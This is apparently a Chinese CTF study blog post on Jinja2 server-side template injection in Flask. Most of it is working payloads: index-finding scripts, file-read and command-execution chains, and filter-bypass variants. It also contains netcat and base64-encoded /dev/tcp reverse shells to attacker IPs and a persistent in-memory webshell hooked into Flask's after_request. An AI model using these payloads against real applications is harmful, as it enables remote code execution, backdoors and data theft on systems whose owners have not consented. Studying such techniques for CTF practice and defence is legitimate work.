当前位置: 首页 > news >正文

ssti模板注入

ssti模板注入

1. SSTI漏洞

SSTI,即服务器端模板注入漏洞;

​ 在渲染模板时,代码不严谨并且没有对用户的输入做严格过滤,将导致SSTI漏洞,造成任意文件读取和RCE命令执行;

2. SSTI类型判断

image-20250928164327990

绿线表示执行成功,红线表示执行失败,根据图中测试语句和返回结果可判断SSTI类型;

​ 本文主要介绍flask的Jinja2模板注入;

3. flask框架

学习SSTI服务端模板注入漏洞首先需要有一定的flask框架基础;

    flask是基于python开发的一种web服务器,那么也就意味着若用户可以与flask交互,就可以执行python代码,如eval、system等函数;在flask中,render_template_string()函数可将字符串进行渲染转移然后输出,不会渲染执行;format()函数格式化字符串,会导致字符串被渲染执行;

4. SSTI漏洞利用基本流程

​ 获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令

继承关系和魔术方法

1.父类和子类

​ 当前子类无可利用的方法时,可由当前子类从其object基类找到其他子类的可利用方法;

python flask脚本不能直接执行python执行;object是父子关系的顶端,所以的数据类型最终的父类都是object;

2.魔术方法

__class__	查找当前对象的当前类
__base__	查找当前类的父类
__mro__	查找当前类的所有继承类
__subclasses	查找父类下的所以子类
__init__	查看类是否重载,出现wrapper表示没有重载
__globals__	以字典的形式返回当前对象的全部全局变量
__builtins__	提供对python的所以内置标识符的直接访问

3.案例演示

python

# 继承关系与魔术方法的简单演示class A:pass
class B(A):pass
class C(B):pass
class D(B):passh = C()
# h的当前类,为C类
print(h.__class__)
# C类的父类,为B类
print(h.__class__.__base__)
# B类的父类,为A类
print(h.__class__.__base__.__base__)
# A类的父类,为对象
print(h.__class__.__base__.__base__.__base__)
# h的当前类的所有父类关系,等效于上面的输出
print(h.__class__.__mro__)
# B类的子类,为C类和D类
print(h.__class__.__base__.__subclasses__())
# 调用B类的C子类
print(h.__class__.__base__.__subclasses__()[0])
# 调用B类的D子类
print(h.__class__.__base__.__subclasses__()[1])# 输出
<class '__main__.C'>
<class '__main__.B'>
<class '__main__.A'>
<class 'object'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
<class '__main__.C'>
<class '__main__.D'>

常用注入模块

1.文件读取

调用常用注入模块前需要知道注入模块在父类的子类中的序号,为避免手动查找序号可以使用Python脚本:

# 查找常用注入模块的序号import requests# 请求的url需自定义
url = 'http://192.168.73.12:1080/flab/lev/1'
for i in range(0, 500):# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}try:# post传参,或根据实际情况使用getres = requests.post(url, data=data)if res.status_code == 200:# 引号中为需查找的模块名,需自定义if '_frozen_importlib_external.FileLoader' in res.text: print(i)except:pass

<class '_frozen_importlib_external.FiieLoader'>,即文件读取模块,可以读取文件内容:

python

# 假设
{{ ''.__class__.__base__.__subclasses__()[10] }} == <class '_frozen_importlib_external.FiieLoader'># 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10]['get_data'](0,'/flag') }}

2. 内建函数eval命令执行

使用内建函数eval前需知道哪个模块存在可利用的内建函数eval,为避免手动查询可以使用以下Python脚本

# 查找可利用内建函数eval的模块并返回其模块序号import requests# 请求的url需自定义
url = 'http://192.168.73.12:1080/fab/vel/1'
for i in range(0, 500):# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["__builtins__"] }}'}try:# post传参,或根据实际情况使用getres = requests.post(url, data=data)if res.status_code == 200:# 查找可利用内建函数eval的模块返回对应模块序号if 'eval' in res.text:print(i)except:pass

Get请求的

import requests
from tqdm import tqdmfor i in tqdm(range(233)):url='http://nodexxxxx?name={{ "".__class__.__base__.__subclasses__()['+ str(i)+']}}'r=requests.get(url=url).txtif('os._wrap_close' in r):print(i)

利用内建函数eval进行命令执行 :

# 假设
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['builtins'] }}
存在内建函数eval# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()') }}

3. os模块命令执行

①在其他函数中直接调用os模块进行命令执行:

python

# 通过config调用os模块,payload:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}# 通过url_for调用os模块,payload:
{{ url_for.__globals__.os.popen('cat /flag').read() }}

②在已加载os模块的子类中直接调用os模块进行命令执行:

# 假设
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__ }}存在os模块# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__['os'].popen('cat /flag').read() }}

查找已加载os模块的子类序号,Python脚本:

import requests# 请求的url需自定义
url = 'http://192.168.73.12:1080/flb/vel/1'
for i in range(0, 500):# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__ }}'}try:# post传参,或根据实际情况使用getres = requests.post(url, data=data)if res.status_code == 200:# 查找已加载os模块的子类if 'os.py' in res.text:print(i)except:pass

4. importlib类命令执行

<class '_frozen_importlib_Builtinlmporter'>,即importlib类模块,其模块序号查找的Python脚本与文件读取模块的一致,可以进行命令执行:

python

# 假设
{{ ''.__class__.__base__.__subclasses__()[15] }} == <class '_frozen_importlib_Builtinlmporter'># 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[15]['load_module']('os')['popen']('cat /flag').read() }}

5. subprocess.Popen类命令执行

<class '_frozen_importlib_subprocess.Popen'>,即isubprocess.Popen类模块,其模块序号查找的Python脚本与文件读取模块的一致,可以进行命令执行:

python

# 假设
{{ ''.__class__.__base__.__subclasses__()[20] }} == <class '_frozen_importlib_subprocess.Popen'># 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[20]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}

过滤检测

image-20250928171627326

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c

抓bp包然后按照下面的来弄

image-20250928171841455

观察返回大小

SSTI绕过总结

1. 双大括号过滤

{{和}}被过滤使用{%和%}绕过,payload:

# 假设序号为60子类能调用popen函数,则payload:{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}

在双大括号被过滤的情况下,查找加载了popen函数的子类,Python脚本:

# 查找能利用popen函数的子类序号import requests# 请求的url需自定义
url = 'http://192.168.73.112:1080/fklab/le/2'
for i in range(0, 500):# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}try:# post传参,或根据实际情况使用getres = requests.post(url, data=data)if res.status_code == 200:# 查找存在自定义返回值的子类序号if 'haha' in res.text:print(i)except:pass

2. 无回显SSTI

反弹shell,查找出能调用popen函数的子类并执行代码连接我们的主机,运行脚本同时开启监听,实现反弹shell,Python脚本:

# 无回显,反弹shell脚本import requests# 请求的url需自定义
url = 'http://192.168.71.1:1080/lb/el/3'
for i in range(0, 500):# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.13.122 7788 -e /bin/bash").read() }}'}try:                                                                                                  # ip地址为本地ip,端口自定义# post传参,或根据实际情况使用getres = requests.post(url, data=data)except:pass

image-20250928170755934

还可以使用带外注入、盲注(需要有一定的回显)绕过无回显SSTI,这里不再演示;

例题

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)

可以看到这里进行了一次模板渲染,存在SSTI漏洞,但是没有对渲染的结果进行回显.
这里的打法比较丰富.

写文件到static

最通用的一个办法,像js啥的也可以写到public中.

出网反弹shell

x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}

反弹内存马

基础款:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

使用方式:直接get去传参cmd即可.
https://xz.aliyun.com/t/14539 这个文章中给出了很多其他的钩子的用法,然而尝试了并没有复现成功.
包括只用hex等方式去进行bypass的,也都没复现成功.

httpheader回显

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

server

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

错误页面

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

盲注

不同情况下写法不同,注意使用二分来优化.

3. 中括号过滤

魔术方法__getitem__可代替中括号,绕过中括号过滤,payload:

python

# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}

4. 单双引号过滤

当单双引号被过滤后,可以使用get或者post传参输入需要带引号的内容,payload:# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag

5. 下划线过滤

当下划线被过滤后,可以使用过滤器输入下划线,如使用函数attr(),payload:

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码

也可以将下划线进行16位编码的方式绕过,payload:

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}

6. 点过滤

使用中括号绕过点过滤,payload:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

也可以使用过滤器arrt()函数绕过,payload:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}

7. 关键字过滤

+号拼接绕过,payload:

# 假设关键字class被过滤
{{ ().__class__ }}# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}

使用Jinjia2的~号拼接,payload:

# 假设关键字class、base被过滤
{{ ().__class__.__base__ }}# 使用~号绕过,payload:
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{ ()[a~b][c~d] }}

使用过滤器绕过,如使用可反转字符串的过滤器reverse(),payload:

# 假设关键字class、base被过滤
{{ ().__class__}}# 使用过滤器reverse绕过,payload:
{% set a='__ssalc__'|reverse %}{{ ()[a] }}

使用join过滤器绕过,同时可以绕过引号过滤,payload:

8. 数字过滤

当数字被过滤时,可以使用过滤器length计算字符串长度来返回数字,payload:

# 假设关键字class、base被过滤
().__class__.__base__.__subclasses__()[6]# 使用过滤器length绕过,payload:
{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}# 当数字比较大时,可以使用数学运算,如:
{% set a='aaaaaa'|length %}中 a=6
{% set a='aa'|length*'aaa'|length %}中 a=6
{% set a='aaaaa'|length*'aaaaaa'|length+'a'|length %}中 a=31

9. config过滤

有时flag放在config文件中或需要调用config文件的模块时,需要config但是可能被过滤,绕过config过滤,payload:

# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}

10. 获取特殊符号(过滤)

在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线类似的获取特殊符号的方法还有很多

11 过滤器join

过滤器join一般与dict()一起使用,可将字典的键名拼接得到新字符串:

# 假设关键字class被过滤
{{ ().__class__}}# 使用过滤器join和dict()绕过,payload:
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}

12. 混合过滤

即以上过滤的混合绕过

参考视频讲的可以

【星盟安全】WEB系列课程 SSTI模板注入_哔哩哔哩_bilibili

http://www.hskmm.com/?act=detail&tid=20122

相关文章:

  • 2025 年章丘二手磁选机厂家最新权威推荐排行榜:TOP 级企业设备全型号覆盖与五年质保深度解析二手立环磁选机/二手华特磁选机/章丘二手磁选机厂家推荐
  • 中位数定理
  • 数据集Dataset
  • 2025 年三维扫描仪厂家最新权威推荐排行榜:覆盖空间 / 高精度 / 专业 / 手持激光 / 工业等类型,精选实力企业深度解析
  • 2025 年染井吉野樱厂商最新推荐排行榜:权威筛选优质苗木供应商,聚焦分枝点规格与景观适配五公分/十公分/染井吉野樱批发厂商推荐
  • 2025 货架厂家权威推荐排行榜: 实力厂家深度解析,金塔领衔全业态定制服务新标杆云南/昆明/西南货架厂家推荐
  • 国标GB28181视频平台EasyGBS公网平台实时视频播放方案
  • 2025 展会搭建公司权威推荐排行榜:服务商创意定制与全流程服务能力深度解析站台展会搭建/展台搭建活动策划/展台搭建展台制作公司推荐
  • Volcano——配置理解
  • 国标GB28181视频平台EasyGBS:强大的视频监控与一站式视频服务解决方案
  • 题解:AT_abc425_f [ABC425F] Inserting Process
  • [转]bat/cmd将命令执行的结果赋值给变量
  • 题解:P13507 [OOI 2024] Three Arrays
  • 题解:AT_abc424_f [ABC424F] Adding Chords
  • 如何在不同区域/网络环境下评估 reCAPTCHA 的表现 - 详解
  • 2025 年最新编织袋生产厂家权威推荐排行榜:聚焦 TOP5 优质企业,助力企业精准甄选可靠合作伙伴牛皮纸/塑料/PP彩膜/化工/化肥编织袋厂家推荐
  • P11854 [CSP-J2022 山东] 宴会
  • 2025 年试验机厂家权威推荐榜:TOP5 优质厂家综合实力解析,助力科研与工业客户精准选型电子万能材料/橡胶拉力/塑料拉力/扬州拉力试验机厂家推荐
  • win 系统安装
  • 2025 年节能咨询公司最新权威推荐排行榜:覆盖工业 / 建筑 / 数据中心等领域 TOP5 优质企业综合测评与选型指南发电厂/燃气/全域增效/服务器节能公司推荐
  • 微算法科技(NASDAQ MLGO)探索全同态加密与安全多方计算融合,开启区块链隐私执行新时代
  • 国产SUB-1G芯片DP4363F支持119-1050mhz超低功耗 - 动能世纪
  • 2025 年棕刚玉源头厂家最新推荐排行榜:TOP 级生产厂家原料与烧结工艺权威解析,助力企业精准选购一级棕刚玉/棕刚玉磨料/优质棕刚玉/棕刚玉喷砂废料回收厂家推荐
  • 杀疯了!GitHub 发布 Copilot CLI!!!
  • 2025 年无尘金刚砂源头厂家最新推荐排行榜:权威精选企业产能与品质深度解析无尘金刚砂材料/无尘金刚砂批发/无尘金刚砂喷砂厂家推荐
  • 学习率调整策略
  • PySide6 之简易音乐播放器
  • langgraph-genui
  • web服务器配置步骤有哪些?如何建立一个web服务器
  • 题解:P10005 [集训队互测 2023] 基础寄术练习题